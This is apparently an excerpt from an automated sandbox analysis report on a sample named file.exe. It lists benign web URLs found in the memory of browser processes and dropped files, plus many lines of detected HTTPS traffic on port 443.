Source: msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000003.00000003.2269281587.0000460400FD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268922073.0000460400E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000003.2271972687.00004604010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271882799.00004604003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272225399.000046040120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000003.2269281587.0000460400FD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268922073.0000460400E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: chrome.exe, 00000003.00000003.2286350153.000046040033C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000003.00000003.2289150579.000046040140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2289817078.00004604014F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288485863.00004604014BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288416172.00004604014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2289425319.0000460401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288584284.00004604014C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: file.exe, 00000000.00000003.2589775795.000000002399B000.00000004.00000020.00020000.00000000.sdmp, GCAEHDBAAECBFHJKFCFBFIDHIJ.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2589775795.000000002399B000.00000004.00000020.00020000.00000000.sdmp, GCAEHDBAAECBFHJKFCFBFIDHIJ.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://tidal.com/
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://twitter.com/
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://web.telegram.org/
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://web.whatsapp.com
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2655292179.0000000023746000.00000004.00000020.00020000.00000000.sdmp, HIIIDAKKJJJKKECAKKJE.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2367015826.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, BKKJKFBK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000003.00000003.2271791247.0000460400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265561299.0000460400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291391448.0000460400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2329237782.0000460400C40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000003.2271791247.0000460400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265561299.0000460400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291391448.0000460400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2329237782.0000460400C40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000003.00000003.2271791247.0000460400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265561299.0000460400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291391448.0000460400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2329237782.0000460400C40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000003.00000003.2286350153.000046040033C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000003.00000003.2286350153.000046040033C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000003.00000003.2286350153.000046040033C000.00000004.00000800.00020000.00000000.sdmp, chromecache_448.5.dr	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268922073.0000460400E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000003.00000003.2297251542.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288221093.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357466064.0000460400F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000003.00000003.2297251542.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271660921.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288221093.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357466064.0000460400F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000003.00000003.2297251542.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271660921.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288221093.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357466064.0000460400F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: file.exe, 00000000.00000003.2367015826.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, BKKJKFBK.0.dr, BAAFBFBA.0.dr, Web Data.8.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000003.00000003.2289150579.000046040140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2289817078.00004604014F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288485863.00004604014BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288416172.00004604014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2289425319.0000460401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288584284.00004604014C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000003.00000003.2288584284.00004604014C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000003.00000003.2272225399.000046040120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000003.00000003.2289425319.0000460401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288584284.00004604014C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/url?q=https://google.com/chrome/safety%3Fbrand%3DKFKH%26utm_source%3Dweb%26ut
Source: chrome.exe, 00000003.00000003.2286350153.000046040033C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000003.00000003.2286350153.000046040033C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000003.00000003.2286350153.000046040033C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000003.00000003.2289425319.0000460401428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000003.00000003.2289150579.000046040140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2289817078.00004604014F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288904612.0000460401458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288881880.000046040103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2289425319.0000460401428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000003.00000003.2289425319.0000460401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288584284.00004604014C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d
Source: chrome.exe, 00000003.00000003.2289425319.0000460401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288584284.00004604014C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.instagram.com
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.last.fm/
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.messenger.com
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000003.2589775795.000000002399B000.00000004.00000020.00020000.00000000.sdmp, GCAEHDBAAECBFHJKFCFBFIDHIJ.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000003.2589775795.000000002399B000.00000004.00000020.00020000.00000000.sdmp, GCAEHDBAAECBFHJKFCFBFIDHIJ.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2589775795.000000002399B000.00000004.00000020.00020000.00000000.sdmp, GCAEHDBAAECBFHJKFCFBFIDHIJ.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.office.com
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2655292179.0000000023746000.00000004.00000020.00020000.00000000.sdmp, HIIIDAKKJJJKKECAKKJE.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://www.youtube.com
Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50979
Source: unknown	Network traffic detected: HTTP traffic on port 51044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 51032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 51009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50989
Source: unknown	Network traffic detected: HTTP traffic on port 51078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50980
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50981
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50983
Source: unknown	Network traffic detected: HTTP traffic on port 51170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50996
Source: unknown	Network traffic detected: HTTP traffic on port 51008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50999
Source: unknown	Network traffic detected: HTTP traffic on port 51056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50998
Source: unknown	Network traffic detected: HTTP traffic on port 50980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50990
Source: unknown	Network traffic detected: HTTP traffic on port 51113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50993
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50995
Source: unknown	Network traffic detected: HTTP traffic on port 51136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50994
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 51181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 51204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 51090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50933
Source: unknown	Network traffic detected: HTTP traffic on port 51192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50934
Source: unknown	Network traffic detected: HTTP traffic on port 51077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50939
Source: unknown	Network traffic detected: HTTP traffic on port 51160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50938
Source: unknown	Network traffic detected: HTTP traffic on port 51183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 51011 -> 443
